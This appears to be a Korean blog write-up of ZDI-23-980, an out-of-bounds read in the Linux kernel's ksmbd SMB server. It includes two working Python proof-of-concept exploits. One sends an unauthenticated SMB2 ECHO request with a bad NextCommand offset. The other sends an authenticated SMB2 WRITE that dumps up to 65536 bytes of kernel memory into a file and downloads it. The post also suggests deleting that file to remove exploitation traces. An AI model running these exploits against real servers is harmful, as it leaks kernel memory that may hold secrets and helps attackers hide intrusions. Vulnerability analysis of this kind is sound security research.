ksmbd - 2. ZDI-23-980

ZDI-23-980

이전 글에 이어서 이번엔 ZDI-23-980 내용이다. 해당 취약점은 Linux 커널의 ksmbd sub system에서 발생하는 (un)authenticated(후술하겠지만 인증 필요할 수도 있고 안 할 수도 있다) OOB read 취약점이다(network-based)

사용자는 커널 메모리에서 최대 65536바이트의 읽기를 수행할 수 있다. 해당 문제는 SSL의 Heartbleed 취약점과 유사한 buffer overead로 발생한다.

요청 패킷에 데이터 길이 정보에 대한 검사가 없어서 그대로 처리하게 된다. 요약 하자면..

  1. 100바이트짜리 데이터 보낼게요
    ㅇㅇ 100바이트 읽을 준비할게요
  2. 실제로는 10바이트만 보내면
    서버는 100바이트 읽기로 했으니 나머지 90바이트는 memory-leak으로 읽음

악용 방법 1 : SMB_WRITE

  1. dump.bin에 크기 N의 SMB_WRITE 요청
  2. 실제 요청 패킷에 담긴 내용은 N보다 작도록 작성
  3. SMB_READ 요청을 보내면 dump.bin 파일이 다운됨
  4. 익스 흔적을 제거하기 위해 해당 파일을 삭제

악용 방법 2 : SMB_ECHO

인증은 필요없음(1번은 필요하다는 거겠지..) 대신 이 요청은 2바이트만 유출 가능하다. SMB_ECHO 보낼 때 마지막 2바이트 비워서 보내면 서버가 memory-leak으로 채운다.

the underlying issue

smb request 패킷 헤더에 있는 smb2_hdr.NextCommand 필드에 대한 검사가 부적절하기 떄문에 해당 취약점이 발생했다. NextCommand는 현재 명령 이후에 다음 명령이 시작되는 위치(오프셋)를 나타냅니다.

exploit

#!/usr/bin/env python3

from impacket import smb3
from pwn import p64, p32, p16, p8


def main():
    print("[*] connecting to SMB server...")
    conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)

    packet = smb3.SMB3Packet()
    packet['Command'] = smb3.SMB2_ECHO
    packet["Data"] = p16(0x4)
    packet["NextCommand"] = 64+4

    print("[*] sending OOB read...")
    conn.sendSMB(packet)

    print("[*] reading response...")
    rsp = conn.recvSMB().rawData
    print(rsp)


if __name__ == "__main__":
    main()

간단한 SMB_ECHO 버전의 PoC이다. SMB_WRITE 버전은 해당 요청 struct를 짧게 살펴보고 이에 구조를 맞춰줘야 한다.

struct smb2_write_req {
	struct smb2_hdr hdr;
	__le16 StructureSize; /* Must be 49 */
	__le16 DataOffset; /* offset from start of SMB2 header to write data */
	__le32 Length;
	__le64 Offset;
	__u64  PersistentFileId; /* opaque endianness */
	__u64  VolatileFileId; /* opaque endianness */
	__le32 Channel; /* MBZ unless SMB3.02 or later */
	__le32 RemainingBytes;
	__le16 WriteChannelInfoOffset;
	__le16 WriteChannelInfoLength;
	__le32 Flags;
	__u8   Buffer[];
} __packed;
#!/usr/bin/env python3

from impacket import smb3
from pwn import p64, p32, p16, p8


def main(username: str, password: str, share: str, filename: str):
    print("[*] connecting to SMB server...")
    conn = smb3.SMB3("127.0.0.1", "127.0.0.1", sess_port=445)

    print(f"[*] logging into SMB server in (username: '{username}', password: '{password}')...")
    conn.login(user=username, password=password)

    print(f"[*] connecting to tree/share: '{share}'")
    tree_id = conn.connectTree(share)

    packet = smb3.SMB3Packet()
    packet['Command'] = smb3.SMB2_WRITE

    StructureSize = 49
    DataOffset = 64 + StructureSize  # fixed packet size excl buffer
    Length = 0x10000  # max credits: 8096, so max buffer: 8096*8 (0x10000), but max IO size: 4*1024*1024 (0x400000)

    # this is ugly but acquires a RW handle for the '{filename}' file containing the memory
    file_id = conn.create(tree_id, filename, desiredAccess=smb3.FILE_READ_DATA|smb3.FILE_SHARE_WRITE, creationDisposition=smb3.FILE_OPEN|smb3.FILE_CREATE,
                            creationOptions=smb3.FILE_NON_DIRECTORY_FILE, fileAttributes=smb3.FILE_ATTRIBUTE_NORMAL, shareMode=smb3.FILE_SHARE_READ|smb3.FILE_SHARE_WRITE)

    packet["Data"] = (p16(StructureSize) + p16(DataOffset) + p32(Length) + p64(0) + file_id[:8] + p64(0) + p32(0) + p32(0) + p16(0) + p16(0) + p32(0) + p8(0))
    packet["TreeID"] = tree_id
    packet["NextCommand"] = DataOffset+Length  # the end of the buffer is past the end of the packet

    print(f"[*] sending OOB read for 65536 bytes... (writing to file '{filename}')")
    conn.sendSMB(packet)

    print("[*] closing file descriptors...")
    conn.close(tree_id, file_id)  # close fd's bcs impacket is impacket

    print(f"[*] reading file containing kernel memory: '{filename}'")
    conn.retrieveFile(share, filename, print)  # print file (containing kmem dump)


if __name__ == "__main__":
    main("user", "pass", "files", "dump.bin")

위와 같이 StructureSize는 49로 설정하지만 Length의 경우 0x10000(65536바이트)로 설정하여 파일 작성을 요구한다.